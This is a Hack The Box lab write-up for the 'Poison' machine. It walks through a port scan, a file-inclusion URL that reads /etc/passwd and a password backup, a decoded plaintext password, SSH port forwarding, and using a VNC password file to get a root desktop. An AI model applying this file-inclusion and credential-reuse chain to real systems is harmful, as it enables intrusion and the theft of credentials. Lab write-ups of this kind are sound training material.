Writeup: Hack The Box - Machines - Poison
Description
- Name:
Poison
- IP:
10.10.10.84
- Author:
Charix
- Difficulty:
3.6/10
Discovery
nmap -sV -sC -Pn -p 1-65535 -T5 10.10.10.84
1 | PORT STATE SERVICE VERSION |
Pwn
The web service triggers immediately a LFI vulnerability through the GET http://10.10.10.84/browse.php?file=listfiles.php
.
So we got first the pwdbackup.txt
and then the /etc/passwd
file.
1 | # $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ |
We don’t had the permissions to read the file user.txt
within the Apache execution so we decoded the base64 password.
1 | Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo= |
The password is Charix!2#4%6&8(0
and is used to SSH into the machine using the user charix
and read the user.txt
with the user flag.
The machine is FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
but the interesting part is in a not usual root running process
This process, although, was not exposed on the net but using SSH we can port forward it in our localhost with ssh -l charix -L 5902:localhost:5901 10.10.10.84
.
In this case the xserver:1
(the one used in xvnc
) is binded to our localhost:2
but we don’t have the credentials to open the connection with vncviewer
.
In the home directory of charix
we have a secret.zip
password protected archive. It’s easier to analyze it copying it in our machine scp charix@10.10.10.84:secret.zip .
.
Simply using the user password we got a secret
file with unreadable chars
1 | 00000000 bd a8 5b 7c d5 96 7a 21 |..[|..z!| |
But if you ever have used xnvc
or similar software you know that the session password is stored in a file used as a cookie.
Running vncviewer -AcceptClipboard -PasswordFile secret localhost:2
we got a nice desktop with a root terminal used to read the root flag.
P.S.: someone hijacked my VNC session and tried to exfiltrate the file with nc
(he didn’t know of the -AcceptClipboard
flag :D).